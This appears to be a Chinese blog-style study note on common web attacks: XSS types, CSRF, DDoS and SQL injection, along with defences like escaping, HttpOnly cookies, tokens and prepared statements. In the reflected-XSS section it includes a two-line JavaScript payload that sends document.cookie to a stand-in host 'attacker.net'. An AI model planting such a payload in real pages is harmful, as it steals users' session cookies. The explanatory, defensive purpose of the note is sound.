随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显。下文对常见的Web安全问题和防范防范进行学习和总结。
跨站脚本攻击(XSS)
简介
跨站脚本攻击(Cross Site Scripting)为和层叠样式表(Cascading Style Sheets,CSS)区分开,在安全领域叫做“XSS”。恶意攻击者往Web页面里注入恶意Script代码,当用户浏览这些网页时,就会执行其中的恶意代码, 可对用户进行盗取cookie信息、会话劫持、篡改网页等各种攻击。XSS是常见的Web攻击技术之一,由于跨站脚本漏洞易于出现且利用成本低,所以被OWASP列为当前的头号Web安全威胁。 攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web中打开该URL的时候,恶意脚本会在受害者的计算机上执行。
分类
反射型XSS
服务器接受客户端的请求包,不会存储请求包的内容,只是简单的把用户输入的数据“反射”给浏览器。比如
var i = new Image;
i.src="http://attacker.net/"+document.cookie;
访问这个链接则会获取cookie内容。
存储型XSS
这类XSS攻击会把用户输入的数据“存储”在服务器端的数据库中。多发生在富文本编辑器、日志、留言、配置系统等数据库保存用户输入内容的业务场景。即用户的注入脚本保存到了数据库里, 其他用户进行访问涉及到包含恶意脚本的链接都会中招。由于这段恶意的脚本被上传保存到了服务器,这种XSS攻击就叫做“存储型XSS”。
基于DOM的XSS
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析。攻击者将攻击脚本注入到DOM结构里,比如<script>document.write(window.location.search); </script>
防范
对输入进行检查、过滤
不信任任何用户的输入,对每个用户的输入都做严格检查。通过检验输入值的有效性, 当输入值不符合条件时就显示错误消息并促使用户重新输入,在输出的时候,对某些特殊字符进行转义,替换。 例如,在HTML中显示<时,必须按照字符实体引用(Character Entity Reference)将其转义记载为’<’;。而如果忽略这一步骤直接生成HTML的话,浏览器就会将<解释为标签的开始。 从而就会招致恶意利用此漏洞进行的XSS攻击。 没有用引号括起来的属性值也会导致XSS攻击,空格就意味着属性值的结束,就可以通过插入空格来添加属性,比如onmouseover事件绑定。 然而, 即使属性值都用引号括了起来,但只要”没有被转义,还是会发生 XSS 攻击。所以要对<和”进行转义。
输出编码
服务器端输出到浏览器的数据,可以使用系统的安全函数来进行编码或转义来防范XSS攻击。JavaScript的编码方式可以使用JavascriptEncode。
辅助性对策
给 Cookie添加 HttpOnly属性,该属性能禁止JavaScript读取Cookie值。对Cookie信息进行MD5等算法进行多次散列存放,必要时还要对ip和cookie进行绑定,一旦检测异常,立马让用户重新登录。
跨站请求伪造(CSRF)
简介
跨站请求伪造(CSRF)可以攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。参考别的博客的一张图,过程如下:

防范
1、执行重要业务之前,要求用户提交额外的信息。通过 token 或者 验证码 来检测用户提交 2、尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作。 3、限制验证cookie的到期时间。这些cookie的合法时间越短,黑客利用你的Web应用程序的机会就越小。不过,这个时间越短,用户就越不方便。因此,你需要在安全性和方便性之间进行平衡。避免全站通用的cookie,严格设置cookie的域
分布式拒绝服务攻击(DDoS)
简介
利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应
防范
1、隐藏服务器的真实IP地址,及时变更 2、防火墙上放置一份 ACL(访问控制列表)来阻断这些来自这些 IP 的访问 3、使用高性能的负载均衡软件
SQL注入
简介
把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
防范
单引号转义、preparestatement预编译接口